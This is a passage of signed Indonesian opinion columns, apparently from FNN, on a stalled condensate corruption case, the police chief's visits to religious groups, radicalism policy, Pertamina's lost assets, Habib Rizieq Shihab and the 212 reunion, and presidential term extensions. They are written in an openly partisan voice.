Kejaksaan Negeri. Lamanya perkara yang tertahan di semua tingkatan jajaran kejaksaan bisa bertahun-tahun. Tergantung kemauan jajaran kejaksaan, apakah mau dibawa ke pengadilan atau tidak. Salah satu kasus besar yang masih mangkrak di Kejaksaan Agung sampai sekarang adalah kasus korupsi kondensat. Kasus ini mengakibatkan kerugian keuangan negara USD 2,7 miliar dollar. Jika dihitung dengan kurs yang berlaku sekarang Rp 14.000 per dollar, maka nilainya setara dengan Rp 37,8 triliun. Sangat besar dan fantastis untuk ukuran kasus korupsi. Kasus korupsi kondensat ini disidik Bareskrim Polri sejak Juni 2015. Sudah empat tahun lebih mangkrak di gedung Bundar. Dimulai ketika itu Kabareskrim dijabat Komjen Polisi Budi Waseso (Buwas). Sampai dengan Idham Azis menjabat Kabareskrim, tercatat sudah lima Kabareskrim yang menangani skandal mega korupsi ini. Setelah Buwas, Kabareskrim berikutnya adalah Komjen Polisi Anang Iskandar. Setelah itu, Komjen Polisi Aridono Sukmanto dan Komjen Polisi Arief Sulistyanto. Sedangkan Jaksa Agung Muda Pidana Khusus (Jampidsus) yang menangani perkara ini sudah tiga orang. Pertama Jampidsus R. Widyo Pamono. Setelah itu Arminsyah yang sekarang menjabat Wakil Jaksa Agung. Terakhir adalah Jampidsus Adi Toegarisman, yang masih menjabat sekarang. Meskipun Adi Toegarisman sudah berkali-kali mengatakan kasus korupsi kondensat U$ 2,7 miliar dollar ini sudah lengkap atau P-21. Namun sampai sekarang belum juga dilimpahkan ke pengadilan. Padahal, dua dari tiga orang telah ditetapkan polisi sebagai tersangka, yaitu Raden Priyono dan Djoko Harsono dari BP Migas. Mereka berdua juga sudah pernah ditahan. Namun sekarang mereka berdua sudah dibebaskan lagi tanpa disidangkan. Tinggal pemilik PT Trans Pasific Petrochemical Indotama (TPPI) Honggo Wendratmo yang masih buron. Sampai sekarang polisi belum menemukan Honggo. Tidak adanya Honggo, dijadikan alasan oleh Jampidsus untuk tidak menerima pelimpahan perkara tahap dua, tersangka dan lainnya. Jampidsus sepertinya tidak mau membawa kasus korupsi kondensat ini ke pangadilan. Padahal persidangan tanpa kehadiran tersangka (in absensia) sudah sering digelar di pengadilan Indonesia. Fakta adanya persidangan in absensia ini bisa dilihat pada persidangan-persidangan kasus yang terkait dengan Bantuan Likuiditas Bank Indonesia (BLBI). NU dan Muhammadiyah Setelah silaturrahim ke Panglima TNI, Pimpinan KPK dan Jaksa Agung, Selasa 12 November 2019, giliran Kapolri Idham bersilaturrahim ke kantor Pengurus Besar Nahdlatul Ulama (PBNU) di jalan Kramat Raya Jakarta Pusat. Nahdatul Ulama adalah Organisasi Kemasyarakatan (Ornas) terbesar di Indonesia. Sangat tepat sebagai Kapolri baru, Idham berkunjung ke markasnya kaum nahdliyin tersebut. “Kunjungan ke Ketua Umum PBNU sudah merupakan tradisi dari setiap Kapolri baru. Sebagai orang yang diberikan amanat untuk melanjutkan estafet kepemimpinan di Polri, kunjungan seperti ini sudah menjadi tradisi yang berjalan baik dari para Kapolri pandahulu. Tradisi yang sudah baik ini, tentu saja sangat baik dan bermanfaat kalau dilanjutkan oleh kami para yunior, “ ujar Idham Azis. “Besarnya komitmen jamaah nahdiyin untuk mengawal dan menjaga keutuhan NKRI juga tidak perlu diragukan lagi,“ kata Kapolri Idham. Apalagi selama ini Polri sangat merasaklan besarnya bantuan PBNU dalam membawa Indonesia menuju arah yang lebih baik, aman, damai, tenteram, dan tertib. Polri juga tidak mungkin bisa bekerja sendirian tanpa bantuan dari ormas-ormas keagamaan seperti PBNU. Setelah itu, pada Kamis 21 November 2019, giliran Kapolri bersilaturrahim ke kantor Pusat Da’wah Pengurus Pusat (PP) Muhammadiyah. Pada silaturrahim ini Kapolri didampingi Kepala Badan Intelijen Keamanan (Kabaintelkam) Komjen Agung Budi Maryoto, Kepala Devisi Propam Irjen Listyo Sigit, Wakabaintelkam Irjen Suntana, Kepala Devisi Humas Irjen Muhammad Iqbal, Staf Ahli Bidang Sosial Budaya Irjen Muhammad Fadil Imron dan Staf Ahli Bidang Politik Irjen Nico Afinta. Kapolri diterima oleh Ketua Umum PP Muhammadiyah Haedar Nashir. Dari pengurus PP Muhammadiyah yang ikut mendampingi Ketua Umum Haedar Nashir menerima silaturrahim Kapolri dan rombongan, antara lain Sekretaris Umum Abdul Mu’ti, Ketua PP Muhammadiyah Anwar Abbas, Syafiq Mughni dan pengurus yang lainnya. Dari lima kunjungan silaturrahim ini, ke Panglima TNI, Pimpinan KPK, Jaksa Agung, PBNU dan PP Muhammadiyah, terlihat kalau Kapolri Idham punya misi terselubung. Paling kurang Kapolri mencoba membangun kelancaran komunikasi antara Polri dengan lembaga-lembaga vertikal di luar Polri. Tampaknya Kapolri sangat sadar bahwa meredam sekecil apapun setiap perbedaan diantara sesama anak bangsa jauh lebih penting dan lebih baik. Sebab perbedaan dan masalah dapat timbul kapan saja setiap saat. Cara meredam yang lebih baik, lebih ampuh, dan lebih efektif adalah dengan rajin-rajin menjalin silaturrahim di antara sesama anak bangsa. Lebih gampang dan mudah, dari pada masalah yang timbul tersebut sudah membesar. Yang juga tidak kalah penting dari safari silaturrahim itu, tentu Kapolri Idham tidak lupa mengajak lembaga dan institusi yang dikunjungi agar sama-sama menjaga dan memperkuat rumah besar kita NKRI. Selian itu, ikut mengawasi proses penegakan hukum agar dapat bejalan dengan cepat, tepat, efektif, dan murah sesuai ketentuan yang berlaku. Hukum jangan sampai ditegakkan dengan membolak-balik, yang seharusnya benar menjadi salah. Sebaliknya, membuat yang salah menjadi tampak benar. Tidak ada persoalan bermasyarakat yang tak bisa diselesaikan dengan media silatutrrahim. Sebab dengan silaturrahim, masalah yang tadinya membeku bisa menjadi cair. Yang tadinya kusut bisa terurai dan yang tadinya macet bisa menjadi lancar lagi. Semunya bisa diatasi hanya dengan membangun tali silaturrahim. Sebab manfaat dari silaturrahim itu akan memperpanjang umur dan memperumudah rezeki (memperlancar urusan pekerjaan). Wallaahu alam bishawab. Penulis adalah Wartawan Senior

Sebentar Lagi Sperma Terpapar Radikalisme

By Asyari Usman Jakarta, FNN - Beberapa hari lalu, Wapres Ma’ruf Amin mengatakan ada sekolah pendidikan anak usia dini (PAUD) yang terpapar radikalisme. Ma’ruf mengatakan itu setelah dia berkunjung ke berbagai daerah. Wapres berkata, banyak sekolah yang masih menggunakan bahan ajar yang mengandung unsur radikalisme. Bahan ajar itu lolos hingga ke tangan anak-anak, bahkan tak jarang dijadikan sebagai soal ujian. Pernyataan ini dikutip beberapa media online. Pernyataan Ma’ruf ini mendapat reaksi keras dari kalangan pengelola PAUD. Ada yang mempertanyakan kriteria bahan ajar radikal yang dimaksudkan Ma’ruf. Misalnya, banyak PAUD yang menghafalkan nama 25 nabi kepada anak-didik. Apakah ini digolongkan bermuatan radikal. Kemudian, ada pula pelajaran merakit mainan Lego. Radikalnya di mana? Terlepas dari rasa heran kalangan pengelola PAUD, kita harus mengacungkan jempol kepada Wapres. Ini baru hebat. Program pembasmian radikalisme yang disusun dan dieksekusi pemerintah, benar-benar komprehensif. Menyeluruh jangkauannya. “No stone will be left unturned”. Alias, tidak akan ada ceruk atau celah yang tak diamati. Semua akan disasar dan disisir. Sekolah PAUD juga akan dicecar. Setelah menemukan radikalisme di tingkat PAUD, kelihatannya tak lama lagi para penguasa akan mengejar radikalisme sampai ke jenjang usia yang lebih awal dari usia PAUD. Tapi, apakah ada yang lebih dini usianya dari anak-anak PAUD? Ada! Yakni, sebelum anak-anak itu menjadi manusia. Tepatnya, ketika masih dalam bentuk sperma. Jadi, bisa saja nanti akan keluar sinyalemen atau pernyataan bahwa sperma umat Islam banyak yang terpapar radikalisme. Artinya, aksi pemberantasan radikalisme akan sampai ke pengujian sperma. Kalau ini menjadi kenyataan, maka para calon pengantin laki-laki muslim akan diwajibkan memeriksakan sperma. Untuk mengetahui apakah sperma mereka pernah bersentuhan dengan bahan-bahan radikal. Kalau ada sperma yang positif radikal, kemungkinan akan diharuskan mengikuti pendidikan deradikalisasi sperma. Guna memastikan agar pengaruh radikalisme di kalangan sperma sudah terkikis. Terpaksalah nanti pemerintah memberlakukan ketentuan pemeriksaan sperma secara rutin. Supaya program ini sukses, bagus juga dibentuk Densus Sperma. Bisa jadi nanti Wapres Ma’ruf menginstruksikan agar Densus Sperma di seluruh Indonesia menyediakan kursus Cegah Radikalisme Sperma. Kemudian detasemen ini akan ditugaskan mengeluarkan SK-SBR (Surat Keterangan Sperma Bebas Radikalisme). Kita tunggu saja bagaimana jadinya.[] 4 Desember 2019 Penulis wartawan senior.

Reformasi Dan Raibnya Aset Pertamina (Bagaian-1)

Selama orde reformasi berjalan, Pertamina semakin mengecil. Aset-aset Pertamina banyak yang berpindah tangan. Nilai aset Pertamina juga semakin mengecil diantara deretan BUMN di tanah air. Aset Pertamina sekarang hanya separuh dari aset PLN. Tak sampai sepertiga dari aset perbankkan BUMN. Padahal tak ada logikanya semua perusahaan itu bisa mengalahkan kekayaan Pertamina. By Salamuddin Daeng Jakarta, FNN - Hampir dipastikan tidak ada satupun konglomerat sekarang ini yang bukan bagian dari kekuasaan Orde Baru. Dan hampir dipastikan bahwa tidak ada satu konglomerasi di era Orde Baru yang tidak menumpang dan menyusu pada Pertamina. Semua oligarki taipan di tanah air sekarang ini, awalnya adalah mereka yang mempunyai koneksi dengan bisnis pertamina. Ricard Robinson dalam bukunya Indonesia The Rise of Capital (1986) menulis bahwa "Pertamina telah menjadi faktor terbesar bagi perkembangan kapitalis domestik di masa orde baru. Dikarenakan mereka para kapitalis demostik itu sebagai kelompok terbesar bagi kontrak penyediaan barang dan jasa. Hampir semua kontrak-kontrak konstruksi, kebutuhan manufacturing serta jasa-jasa industri, dikusai oleh para kapitalis demostik. Kebangkitan seluruh pebisnis besar di tanah air terhubung dan terkoneksi dengan pekerjaan di pertamina. Mereka mendapatkan alokasi belanja proyek dari pertamina. Sebelum dipreteli oleh reformasi, seluruh dunia tau kalau Pertamina adalah perusahaan yang sangat kaya. Aset pertamina sangat besar. Tidak hanya di Indonesia, namun juga tersebar di negara negara maju. Pertamina pernah memiliki kantor cabang di New York, Tokyo, Hongkong, Singapura dan London. Namun satu persatu hilang entah kemana. Lebih dari 40 tahun Pertamina menjadi penopang keuangan negara dan kehidupan oligarki politik Indonesia. Tidak ada satupun pebisnis dan konglomerasi besar yang lahir di Indonesia tanpa peran Pertamina. Semua mendapatkan order pekerjaan dari Pertamina. Mereka raksasa bisnis tanah air, bahkan yang ada sekarang ini, mengawali bisnis mereka dari tetesan pertamina. Perusahaan Badan Usaha Milik Negara (BUMN) yang besar, sebagian dibangun dengan modal awal dari pertamina. Krakatau Steel, Inalum, Perusahaan Petrocrmical, Industri Pupuk, Bulog, dan lain sebagainya dimodali dari investasi Pertamina. Alat Bubarkan Pertamina Pertamina adalah pionir bisnis dari berbagai macam sektor usaha. Ada usaha properti, perhotelan, perumahan, rumah sakit, pendidikan, penerbangan jasa pengangkutan, dan telekomunikasi. Tidak ada usaha sejenis yang bisa melebihi kampuan Pertamina sampai saat ini. Pertamina menguasai ratusan ribu hektar tanah yang tersebar di seluruh kota kota besar. Pertamina juga menguasai ratusan ribu hektar kawasan hutan. Terlibat dalam pembangunan jalan, jembatan, pelabuhan dan berbagai sarana infrastruktur lainnya. Sampai sekarang ini boleh dikatakan gurita dan jaringan usaha tersebut masih di bawah kepemilikan Pertamina. Namun telah dikuasai secara illegal oleh kelompok usaha di luar Pertamina. Padahal Pertamina adalah penopang utama pembangunan berencana Orde Baru hingga awal orde reformasi. Namun setelah reformasi berlangsung, tiba tiba saja Pertamina menjadi kere. Melalui UU No 22 tahun 2001 tentang Minyak dan Gas (Migas) Pertamina dipreteli kewenangannya. Migas nasional yang sebelumnya dikuasai Pertamina berpindah ke tangan swasta. Produksi migas dari Pertamina langsung merosot tajam. Aset-aset Pertamina mulai hilang satu persatu. Tak hanya konsesi migas Pertamina yang hilang. Entah mengapa, aset Pertamina yang lain seperti tanah, properti, kapal tengker, anak anak perusahaan di luar negeri, juga hilang satu persatu. Selama orde reformasi ini berjalan, Pertamina semakin mengecil. Aset-aset Pertamina banyak yang berpindah tangan. Nilai aset Pertamina juga semakin mengecil diantara deretan BUMN di tanah air. Asset Pertamina sekarang, hanya separuh dari aset PLN. Tak sampai sepertiga dari aset perbankkan BUMN. Padahal tak ada logikanya semua perusahaan itu bisa mengalahkan kekayaan Pertamina. Sekarang Pemerintah Daerah (Pemda) juga mulai ikut ikutan merampas aset-aset Pertamia. Pemda melakukan itu dengan berbagai cara. Apalagi para taipan dan konglomerat memang pengincar aset Pertamina melalui tangan Pemda setempat. Sebagai contoh kasus, baru-baru di Kabupaten Barito Timur, Kalimantan Tengah, yakni Jalan Hauling milik Pertamina terancam berpindah tangan ke swasta. Jalan sepanjang 60 kilometer tersebut diincar oleh berbagai pihak untuk disewakan ke pengusaha tambang batubara. Dengan senjata otonomi daerah, rupanya Pemda dapat mengambil alih aset-aset Pertamina. Rupa-rupanya reformasi dengan berbagai modus dan operandinya, adalah strategi dan alat untuk membubarkan Pertamia. Dengan demikian, maka perlahan-lahan, namun pasti aset aset Pertamina bakal berpindah tangan kepada para birokat, oligarki politik, dan kepada para taipan. Reformasi ternyata hanya dimaksudkan untuk "menghapuskan aset dan kekayaan Pertamina. Selanjutnya mencatatkannya sebagai kekayaan para oligarki taipan". Semua itu telah berlangsung secara sangat halus dan sophisticated. (bersabung) Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI)

Masih 212: Pencekalan Membuat Posisi Habib Semakin Kuat

By Asyari Usman Jakarta, FNN - Acara Reuni 212 kemarin berlangsung tanpa HR Shihab. HR mengatakan beliau tidak bisa pulang ke Indonesia karena dicekal Arab Saudi atas permintaan pemerintah Indonesia. Sedangkan para penguasa negera ini mengatakan, tidak ada inisiatif pencekalan dari Jakarta. Siapa yang Anda percaya? Silakan simpulkan sendiri. Pertanyaan penting dari pencekalan HR Shihab adalah: siapa yang diuntungkan dan siapa yang dirugikan? Para penguasa Indonesia mungkin merasa pencekalan HR Shibah akan membuat gerakan 212 melemah dan akhirnya bisa pupus. Artinya, pemerintah diuntungkan. Hampir pasti, begitulah harapan penguasa. Big mistake! Salah besar anggapan ini. Dan salah besar tindakan pencekalan itu. Pencekalan merugikan pemerintah. Mengapa? Karena umat Islam akan terus membicarakan ini. Kesan negatif umat terhadap pemerintah akan senantiasa menggantung bagaikan awan hitam. Dan kesan negatif itu malah akan semakin pekat. Akan semakin keraslah keyakinan umat bahwa pemerintah memang berlaku zalim. HR Shihab telah menunjukkan dokumen otentik tentang inisiatif pemerintah Indonesia untuk mencekal Imam Besar. Di acara 212 kemarin (2/12/2019), HRS dengan lantang mengimbau lewat video-conference agar pemerintah menghentikan kebohongan. Agar pemerintah tidak lagi berbohong. HRS tidak ragu mengatakan bahwa pemerintah berbohong dalam hal pencekalan atas dirinya. Pernyataan ini sangat serius dan menohok. Tidak mungkin Habib berani mengatakan itu kalau dia tidak punya bukti yang kuat. Para pejabat pemerintah bolak-balik membantah. Ada kesan para penguasa kocar-kacir untuk menjelaskan soal pencekalan itu. Apalagi pemerintah Saudi (cq Duta Besar mereka di Jakarta) sudah pernah menjelaskan dengan bahasa yang lugas bahwa Saudi siap memulangkan HR ke Indonesia kalau penguasa di sini mau menerima. Secara implisit pemerintah Saudi mengatakan pemerintah Indonesia-lah yang tidak mau menerima Habib. Keinginan para penguasa bahwa HR Shihab akan menjadi lemah, tampaknya “jauh panggang dari api”. Pencekalan ini, sebaliknya, hanya akan memperkuat posisi politik Habib. Publik semakin yakin bahwa HR5 telah menjadi figur yang sangat dicemaskan oleh para penguasa. Dan faktanya, Mendagri Tito Karnavian belum lama ini mengatakan, setelah 01 dan 02 bersatu, kini tinggal gerakan 212 yang menjadi masalah. Tentu saja gerakan 212 itu identik dengan Habib. Pencekalan akan menguntungkan Habib dalam banyak hal. Pertama, Habib terkesan dikeroyok oleh para penguasa Indonesia. Posisi seperti ini membangkitkan semangat publik untuk mendukung gerakan 212 lebih kuat lagi. Sebagai contoh, begitu banyak jemaah umrah yang menyempatkan diri untuk menjumpai HR5. Padahal, para penguasa bermaksud melemahkan Habib dan 212 dengan cara “mengasingkan” Imam Besar itu. Kedua, kalangan pemerintah dan publik di Arab Saudi semakin paham peranan Habib dalam menyatukan umat Islam di Indonesia. Mereka mengerti bahwa HR5 benar-benar memperjuangkan keadilan bagi semua orang tanpa kecuali. Penguasa dan publik Saudi menjadi tahu bahwa Habib dan gerakan 212 adalah kelompok yang sedang melawan skenario jahat untuk menghancurkan negara, khususnya umat Islam. Ketiga, pencekalan itu membuka lebar mata khalayak. Publik menjadi tahu dan percaya tentang adanya konspirasi besar dan kuat yang sedang diarahkan ke umat Islam. Indikasi ini tampak dari kebijakan pemerintah yang saat ini didominasi oleh isu radikalisme. Publik, terutama umat Islam, memperhatikan dengan saksama tindakan berlebihan yang dialakukan pemerintah. Seperti menerbitkan SKB 11 Menteri untuk mengawasi perilaku radikal ASN dan CPNS. Juga ada perintah Wapres Ma’ruf Amin agar polisi mengawasi masjid. Kemudian ada sinyalemen radikalisme yang dikatakan melanda anak-anak setingkat PAUD. Jadi, pemerintah melakukan kesalahan kalkulasi. Pencekalan HRS yang semula dimaksudkan untuk meredupkan ketokohan Habib dan gerakan 212, yang terjadi malah sebaliknya. Dan, semakin lama drama ini berlangsung, akan semakin buruk dampaknya bagi pemerintah. Karena itu, langkah yang terbaik bagi penguasa ialah menerima kepulangan HR Shihab. Dan dari ini besar kemungkinan bisa dibangun rekonsiliasi nasional secara menyeluruh.[] 3 Desember 2019 Penulis wartawan senior.

Bahaya Korporasi Global Dibalik Gagasan Presiden Tiga Periode

Konstitusi memang selalu diandalkan untuk dijadikan pijakan oleh semua negara. Tetapi kontitusi membutuhkan politisi arif dan bijak untuk menjaga dan mengawalnya. Sebab setiap waktu, sesuai arus naik kepentingan korporasi menguasai sumberdaya alam, konstitusi bisa diinjak-injak oleh para politisi. By Dr. Margarito Kamis Jakarta, FNN - Presiden Indonesia, entah apa pertimbangan spesifiknya, sedang digagas untuk, tentu kelak, memegang jabatan selama tiga periode berturut-turut. Hebatnya masa jabatannya pun digagas untuk diubah, dalam makna diperpanjang. Buka lima tahun lagi, tetapi tujuh tahun. Bahkan ada yang mewacananakan delapan tahun. Siapa yang pertama memetik seluruh keuntungan? Terutama keuntungan ekonomi dari perpanjangan masa jabatan itu? Rakyat kecil dalam sejarahnya, hanya berdaulat selama lima menit dan lima meter persegi. Jalan untuk mereka bisa terjalin dengan presiden terpilih telah tertutup, bahkan jauh sebelum pemilu berakhir. Jangankan presiden terpilih, hasil pemilu pun tidak dapat mereka kontrol. Itulah mereka rekyat kecil. Status politik dan konstitusional mereka sebagai pemegang kedaulatan rakyat dan suara hanya dagangan semata. mereka disimbolkan sebagai penentu siapa berkuasa dan seluruh aspek lainnya, juga tidak lebih dari sekadar retorika belaka. Bukan mereka yang berdauat secara empiris. Korporasi besarlah yang mengambil alih semua kedaulatan itu. Korporasi besar inilah (sekarang konglomerat), dalam sejumlah kasus muncul sebagai kelompok yang berdaulat secara empiris. Bukanlah rakyat kecil yang suaranya didengar pada kesempatan pertama oleh pembuat kebijakan. Mereka para konglomerat itu sangat cerdas dalam semua aspek. Terlalu lincah, licin dan kuat untuk semua urusan. Sumberdaya Ekonomi Perang dunia pertama, bahkan perang dunia kedua bukan perang membebaskan negara-negara dari penjajahan. Kalau pun soal itu menjadi pertimbangan, perangsang utama perang-perang itu adalah penguasaan terhadap sumberdaya ekonomi. Perang dunia pertama misalnya tidak pernah jauh dari perebutan kekayaan alam dari penguasa Turki Otoman di sepanjang garis teritorinya. Disintegrasi kekuasaan Turki Otoman disempurnakan pada perang dunia kedua. Bukan apa-apa, tetapi perang dunia pertama itu tidak cukup memberikan keuntungan besar kepada Amerika. Keuntungan besar dari dari perang dunia pertama lebih banyak diperoleh Inggris dan Perancis. Apapun itu, dalam kenyataanhya garis batas teritori disepanjang bekas teritori Turki Otoman, kelak perlu ditata lagi. Dalam identifikasi Charlote Bennet, sebagian mengikuti garis aliran pipa minyak. Perang dunia adalah perang dengan dan untuk mendapatkan minyak, tulis Charlote Bannet. Sembari mengenalinya, satu hal yang pasti negara-negara baru, harus membentuk konstitusi. Seperti Jerman dan Turki pada perang dunia pertama. Konstitusi-konstitusi negara baru pecahan Turki Otoman harus mengadopsi sejumlah prinsip, dalam sebutan mereka adalah “pencerahan”. Konstitusi negara-negara baru juga harus memberi jaminan tentang hak asasi manusia dan hal lain dalam semangat yang sejenis. Tetapi ini bukan hal yang terbilang penting dan hebat. Hal hebat adalah negara dan keuasaan Turki Otoman itu harus terpecah-belah, dan terciptalah negara-negara baru, seperti yang terlihat hari ini di kawasan Timur-Tengah. Penciptaan negara baru adalah jalan baru, ke sumberdaya alam minyak. Pada konteks ini pembentukan Undang-Undang Dasar (UUD) sebuah Negara harus menjadi kepentingan korporasi atau konglomerat. Begitu juga sebuah negara atau perubahan UUD sebuah Negara. Setiap pembentukan dan perubahan UUD harus dalam identifikasi korporasi. Hanya boleh dilakukan jika kepentingan mereka terakomodasi. Kepentingannya selalu spesifik. Yang spesifik itu tidak pernah jauh dari melapangkan jalan ke penguasaan atas sumberdaya alam, dan sumberdaya ekonomi lainnya. Kepentingan-kepentingan korporasi tersebut disamarkan sedemikian canggihnya. Sehingga tak mudah untuk bisa diidentifikasi oleh politisi dengan kampuan pas-pasan. Politisi yang tak tahu dan sadar kalau mereka telah dibeli oleh para korporasi. Para korporasi sangat cerdas dalam penyamaran. Karena yang nantinya muncul ke permukaan bukan dari kalangan korporasi. Yang muncul adalah organisasi yang berkedok demokrasi dan hak asasi, dengan orang yang terlihat independen. Mereka juga berbaju tradisional keilmuan. Melemahkan satu organ di satu sisi, dan memperkuat organisasi lain disisi lainnya adalah cara dan pola berpikir mereka koporasi. Pada tahun 1970-an, di Amerika Serikat misalnya, muncul ide mengubah bentuk pertanggung jawaban anggota parlemen. Kongres hendak dibuat tidak lagi bertanggung jawab kepada konstituen mereka. Center for the Study of Democratic Institution (CSDI) misalnya, menurut John Coleman menyebarkan ide-ide yang akan mendatangkan reformasi social. Jenis reformasi yang lebih liberal, dengan demokrasi sebagai idiologinya. Salah satu kegiatannya adalah merancang konsep konstitusi baru Amerika Serikat, yang akan bersifat monarkis dan sosialis seperti Denmark. Sampai tahun 1973 mereka telah sampai pada draf konstitusi ke 35. Dalam draf ini mereka menjamin hak lingkungan. Inti amandemen ini dalam menguasai basis industri Amerika. Organisasi-organisasi ini tidak bekerja secara sembunyi-sembunyi. Diskusi, seminar, roundtable, public opinion adalah sedikit dari serangkaian kegiatan dan cara mereka lakukan. Dengan opini publik lawan disudutkan, ditenggelamkan. Argumen lawan dijadikan parody. Kuasai Pemerintah UUD sebuah bangsa adalah cara bangsa itu mengindetidikasi dirinya, dan nasibnya dalam semua aspek. Bagaimana bangsa dan rakyatnya itu dibawa? Bagaimana cara rakyat diurus? Termasuk di dalamnya sumberdaya alamnya ditangani menjadi isu-isu utama dalam UUD. Untuk tujuan itu, maka ketepatan penataan kekuasaan, muncul menjadi hal yang esensial dalam semua UUD. Menariknya, organisasi-organisasi berkedok internasional, atas penyebaran gagasan hak asasi manusia, demokrasi dan semua derifasinya begitu bergairah. Mereka sangat bersemangat “dalam istilah memberi bantuan” kepada negara-negara tersebut. Amerika Latin misalnya, merupakan contoh terbaik bagaimana organisasi-organisasi berkedok internatsional bermain. Mereka menyiapkan bergam isu tentang reformasi konstitusi. Organization of American State (OAS) misalnya, menyelenggarakan serangkaian rountable di Santiago Chile dalam rangka reformasi konstitusi. Tidak hanya mereka, Institute for Democracie and Electoral Assitance (IDEA) juga bergabung untuk isu yang sama. Latin American Public Opinion Orgazation (LAPOP), Latin Barometero Corporation dan Canadian International Cooperation Agency (CIDA), pada kesempatan lain juga masuk dalam isu yang sama di Amerika Latin. Tetapi mengapa America Latin yang telah terdemokratisasi menurut skema barat, tidak juga stabil? Uruguay, Bolivia, Kolumbia, Venezuela, Chile, untuk menyebut beberapa saja, mereka tidak stabil. Masa jabatan presiden yang telah ditetapkan batas waktunya menurut skema barat, menjadi berantakan. Itu yang sudah terjadi. Ambil saja misalnya di Venezuel, Biolivia dan Uruguay. Mahkamah Konstitusi yang ditetapkan dalam konstitusi menurut skema sangat demokrasi mutakhir. Dalam kasus Bolivia, Uruiguai dan Venezuela menjadi tukang stempel presiden. Mahkamah-mahkamah ini membenarkan perpanjangan masa jabatan presiden. Orang-orang seperti Chaves, Fujimori dan Evo Morales berkuasa melampaui masa jabatan presiden yang ditetapkan dalam konstitusi. Penguasa, bukan rakyat yang menit ke menit mengurus semuan urusan Negara. Pemerintah menjadi satu-satunya figur yang mendefenisikan semua hal dalam semua aspek bernegara. Pemerintah adalah sumber segala kebijakan dalam semua aspek. Mengontrol pemerintah, presiden atau perdana menteri, sama saja dengan mengontrol pembuatan kebijakan negara. Mengontrol kebijakan negara sama dengan mengontrol dan mengendalikan alokasi serta distribusi sumberdaya, politik dan ekonomi. Bagaimana melakukannya? Mudah. Semua sistem politik modern menyediakan pemilu sebagai cara mengisi jabatan itu. Semua sistem hukum pemilu mempertalikan suara “hak memberikan suara atau memilih” dengan “hak memberi sumbangan” kepada kandidat presiden atau perdana menteri. Itulah sebabnya memberikan sumbangan, in toto, tidak bisa dinyatakan sebagai perbuatan terlarang. Pemilu atau pemilihan, terbukti dalam sejarah sebagai urusan yang seluruh aspeknya terhubung dengan uang, uang dan uang. Hukum tata negara positif tak bisa menyanggahnya. Inilah persoalannya. Bawalah sumbangan tersebut ke kas kampanye dan kas pelantikan presiden, maka jalan untuk mendekat ke presiden dan perdana menteri semakin terbuka luas. Hukum tata negara dan ilmu politik memang menyebut itu sebagai sumbangan. Bukan sebagai jual beli kekuasaan. Tapi tabiat politik menunjukan secara jelas. Politik praktis selalu berputar di lingkaran inti balas budi, quid pro quo. Tidak ada makan siang yang gratis. Setelah sumbangan diberikan, kebijakan yang menguntungkan harus dibuat. Siapa yang paling bisa memberi sumbangan? Rakyat kecil? Mungkin juga. Tetapi tidak seberapa pengaruhnya. Yang berada dalam jangkauan memberi sumbangan, dalam jumlah di luar jangkauan rakyat kecil, tidak pernah lain kecuali perorangan berstatus kapitalis dengan korporat besarnya. Tidak ada yang lain, selain dari mereka para korporasi atau konglomerat tersebut. Hanya mereka yang bisa memberikan sumbangan dengan angka-angka yang pantastis dan mencengangkan. Setelah semuanya berlalu, maka giliran penguasa yang mulai bekerja politik quid pro quo, untuk balas budi. Impeachment terhadap presiden Trumph pada saat ini membuka sejumlah isu sumbangan. Terlihat sumbangan menjadi tali pengikat pertemanan, bahkan kebijakan. Presiden yang punya kebijakan menjanjikan keuntungan besar, tetapi belum terealisasi, harus dipastikan realisasinya. Hambatan konstitusional, harus disingkirkan secara konstitusional. Caranya, ya mengubah UUD. Tidak perlu bikin UUD baru. Cukup pasal yang menghambat saja yang disingkirkan. Itu saja. Tetapi apakah isu penambahan masa jabatan presiden dari lima tahun ke 7 (tujuh) tahun dan presiden menjabat selama tiga periode berturut-turut yang menggema saat ini harus dikerangkakan pada perspektif itu? Jokowi, presiden dua periode ini terlihat tidak menyenangi isu itu. Apakah korporasi global berdiam diri dalam soal ini? Korporasi adalah entitas paling cerdas. Mereka memiliki cara yang sangat canggih. Mereka tak teridentifikasi, sehingga membuat siapapun keluar dan masuk ke dalam kekuasaan, semudah setiap orang menghirup udara. Tidak friendly dengan mereka, sama dengan mengundang bencana. Jabatan bisa melayang. Pemilu yang diidentifikasi curang di Indonesia sama sekali tidak mengusik mereka. Tetapi pemilu curang di Bolivia, membuat OAS bergerak. Rakyat turun ke jalan, dan presiden incumbent tersingikir. Begitulah politik dan ekonomi bertali-temali dengan tata negara dalam urusan masuk dan keluar seseorang dalam jabatan presiden. Konstitusi memang selalu diandalkan untuk dijadikan pijakan oleh semua negara. Tetapi kontitusi membutuhkan politisi arif dan bijak untuk menjaga dan mengawalnya. Sebab setiap waktu, sesuai arus naik kepentingan korporasi menguasai sumberdaya alam, konstitusi bisa diinjak-injak oleh para politisi. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Pak Polisi, Berhentilah Mendustai Rakyat

Oleh Mangarahon Dongoran Jakarta, FNN - Polda Metro Jaya memprediksi tidak ada peserta reuni aksi 212 yang berasal dari luar kota. Polda menyebut peserta hanya dari sekitar Jakarta. Paling dari sekitar Jakarta. "Tidak ada, tidak ada. Peserta luar kota paling dari sekitar Tangerang saja. Kita masih berkoordinasi dengan panitia," kata Kabid Humas Polda Metro Jaya, Yusri Yunus kepada wartawan di Lapangan Monas, Jakarta Pusat, Minggu (1/12/2019). Ucapan tersebut keluar dari Kabid Humas Polda Metro Jaya. Yang nota bene Yusri adalah juru bicara polisi di Metro Jaya. Kalimat itu keluar dari seorang perwira polisi. Bukan dari oknum polisi. Omongan itu keluar menjelang Peringatan Maulid Nabi Besar Muhammad Sollohu alaihi wassalam dan Reuni 212. Ketika membaca keterangan Yusril Yunus di media resmi. Bukan di media sosial-- FB, WA, IG dan Twiter, saya merasa sedih dan kasihan sama ini polisi. Kenapa? Karena dalam pikiran saya, dan kenyataan yang terjadi selama ini, peserta reuni 212 selalu datang meluber dari bergagai daerah, antar pulau, dan bahkan dari beberapa negara. Yang datang di reuni 212 bukan hanya umat Islam, tetapi juga pemeluk agama lain (Nasrani, Hindu, Budha, Kong Ghu Chu) dan tokoh-tokoh agamanya. Mungkin yang tidak ada wakilnya hanya dari komunis dan aliran kepercayaan. Karena sebetulnya mereka sangat benci ajaran agama (apa pun), terlebih ajaran Islam yang mengedepankan kedamaian dan kesejukan. Selama ini polisi seringkali mengeluarkan 